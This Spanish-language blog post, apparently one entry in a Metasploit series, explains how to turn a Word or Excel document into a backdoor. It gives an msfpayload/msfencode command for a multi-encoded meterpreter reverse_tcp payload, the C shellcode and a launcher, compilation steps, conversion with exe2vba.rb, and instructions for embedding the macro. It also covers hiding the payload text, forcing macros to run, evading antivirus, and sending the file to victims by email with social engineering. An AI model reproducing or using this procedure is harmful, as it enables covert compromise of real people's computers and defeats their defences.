En la anterior entrada, se ha indicado la forma de realizar un “bypass” utilizando MetaSploit Framework y una plantilla simple escrita en lenguaje C, en esta ocasión, se intentará explicar la forma de “infectar” un documento de MicroSoft Office (word, excel, etc.) por medio de una macro maliciosa generada por metasploit framework, la virtud de tipo de ataques es que no son detectables por un AV, ya que los AV normalmente suelen confiar en el contenido que se ejecuta dentro de los procesos de programas instalados y frecuentemente utilizados, (como en este caso un programa ofimatico) lo que le permite a un atacante enviar un documento malicioso a un usuario con el fin de comprometer su máquina, no obstante, existen mecanismos de seguridad en Office que no permite la ejecución de Macros, pero si el documento es generado directamente por el atacante y enviado a la víctima, evidentemente el nivel de seguridad que intentará establecer para el documento será bajo de tal forma que cuando el objetivo del ataque abra el documento, no encontrará nada sospechoso en él.
Para llevar a cabo este procedimiento, basta con seguir los siguientes pasos usando un programa simple escrito en C)
-
Crear un payload Crudo en C (tal y como se ha hecho en la publicación anterior):
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=4444 R | sudo msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -o /home/adastra/payload.c c -
Dicho payload implementarlo en un programa simple que acceda a las instrucciones creadas en el paso anterior.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> char payload[]="\xb9\xf0\x01\x00\x00\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c" "\x0e\x07\xe2\xfa\xb8\xdc\x02\x04\x05\xee\xf8\xf7\xf6\xf5" "\xca\x52\x3d\x42\x01\x17\xf3\xe8\xab\xda\x17\x12\x12\xf6" "\x32\x72\x89\x67\x40\xf9\x1d\xdd\x90\xc8\x34\xec\xec\x15" "\x5a\xc6\x5f\xc1\xd8\x8f\xb4\x5d\x8e\x96\x32\x93\x06\x17" "\xa2\xc4\x63\xe4\x7c\x49\x60\xdd\xcb\xc6\x24\xc4\xd8\xe6" "\x06\x6a\xbb\x89\xb5\x4e\xbe\x44\x9c\x5b\x35\x24\xb5\xae" "\xf9\xcc\x92\x07\xc3\x43\xac\x71\x63\x6c\x92\xc0\xd1\x0e" "\xf9\xac\xa7\x44\x09\xfa\xb8\x3a\xa1\xa0\x44\x3d\xcc\x73" "\xca\x57\xc7\x28\x65\x09\xd8\x0e\xc9\xe5\xd9\xea\x5c\x70" "\x9c\xa4\xa5\xf2\x4d\x42\x52\xb2\x6a\x30\x0b\x4d\xb5\x5e" "\x97\x62\x90\x6d\x4e\xd7\x2c\xa5\x00\x50\x28\x8b\x8a\x7f" "\x1c\xb0\xde\x5d\x20\xa2\xd9\xe5\x21\x0c\x97\xbd\xd0\x1a" "\x66\x70\x02\x5a\x31\x50\x77\xfa\xcf\x13\x25\x85\x95\x0b" "\x4f\x7e\x8c\xc2\x24\xe0\xfb\x18\x0f\xa1\x8b\x1b\x60\xf9" "\x7f\xc2\x08\xaf\x6b\x0d\x21\x1b\x21\x95\x04\x58\xe3\x43" "\x09\x9b\xba\x57\xfd\x05\x27\xdc\x0e\x83\xc9"; char comment[512] = "COMENTARIO DE TEXTO"; int main(int argc, char **argv, int a, int b, int c, int d, int e) { return ejecucionSubRutina(); } int ejecucionSubRutina(){ (*(void (*)()) payload)(); return(0); }
- Compilar (En plataformas Linux se puede utilizar el compilador mingw32, el cual puede ser instalado muy facilmente con un comando apt-get en plataformas basadas en Debian: apt-get install gcc-mingw32 o apt–get install gcc-mingw64 dependiendo de cada arquitectura)
i586-mingw32msvc-gcc templateFinal.c |
- Ahora en el directorio <DIR_METASPLOIT>/tools se encuentra el script exe2vba.rb el cual permitirá crear un fichero con código en Visual Basic partiendo de un ejecutable windows valido, este código fuente en Visual Basic, será el que ejecute la «infección» del cliente, ya que como se ha podido ver en los pasos anteriores, el payload que realmente se esta creando es un «reverse_tcp» de Metasploit, con lo cual, solamente será necesario que la víctima abra el documento y automaticamente el script se ejecutará y abrirá una conexión reversa.
ruby exe2vba.rb /home/adastra/a.exe /opt/lampp/htdocs/payload.vba -
Con el fichero vba terminado, ahora se procede a crear un documento con Microsoft Office Word y en el contenido del documento se debe inyectar el “hex dump” que se encuentra incluido en la parte final del script (en el script dicha sección se debe remover también, quedando solamente código ejecutable), posteriormente, desde Herramientas → Macro → Editor Visual Basic importar el fichero vba. Luego la entrega de este documento puede ser tan simple como enviar un correo electronico con el documento adjunto o subirlo a un servidor web para que posteriormente pueda ser descargado por el usuario. Este tipo de ataque suele funcionar correctamente tanto en entornos LAN como en entornos WAN (como internet), lo unico que hace falta es tener una máquina con una dirección IP publica donde recibir las conexiones reversas de cada víctima.
- El siguiente paso logico es simplemente iniciar el payload desde la consola de MetaSploit, indicando como exploit el «multi/handler» como Payload el «windows/meterpreter/reverse_tcp«, las propiedades «LHOST» y «LPORT» deben contener los mismos valores que se han indicado en el proceso de creación del payload.
-
Como nota final, la sección del documento que contiene el payload a ejecutar, puede tener el formato que se desee, por lo tanto el tamaño de la fuente, el color y otras características visuales de esta sección pueden ser modificadas con el fin de que sean “invisibles” para el usuario final sin afectar su funcionamiento, también puede almacenarse el fichero en modo de solo lectura con el fin de que el usuario que recibe el documento no pueda modificarlo de ninguna forma, así se puede crear un documento con información que posiblemente resulte valiosa para el objetivo y sin que se entere que se este ejecutando una conexión “reversa” desde su máquina hacia la máquina del atacante. Por otro lado, en el momento de la creación del fichero pueden establecerse otras características de “seguridad” para que las macros se habiliten automáticamente en el momento en que se abre el documento y no solicite información adicional al usuario.
Este tipo de “Ataque” resulta bastante eficiente para comprometer la máquina de un objetivo, dado que no es detectado por el AV y ademas si viene acompañado por tecnicas de ingeniera social facilitando información útil al objetivo en dicho documento, se crea el sentimiento de “confianza” de modo que no se esperará que se trate de un documento infectado con un backdoor.
Solamente resta esperar a que la victima abra el documento y evidentemente, tener el listener esperando a la conexión del cliente, tal y como se ha venido indicado en múltiples entradas de este blog sobre Metasploit. En la próxima publicación, se centrará la atención sobre Linux y la creación de ficheros DEB maliciosos.
Este funciono de 10.Saludos.
Me gustaMe gusta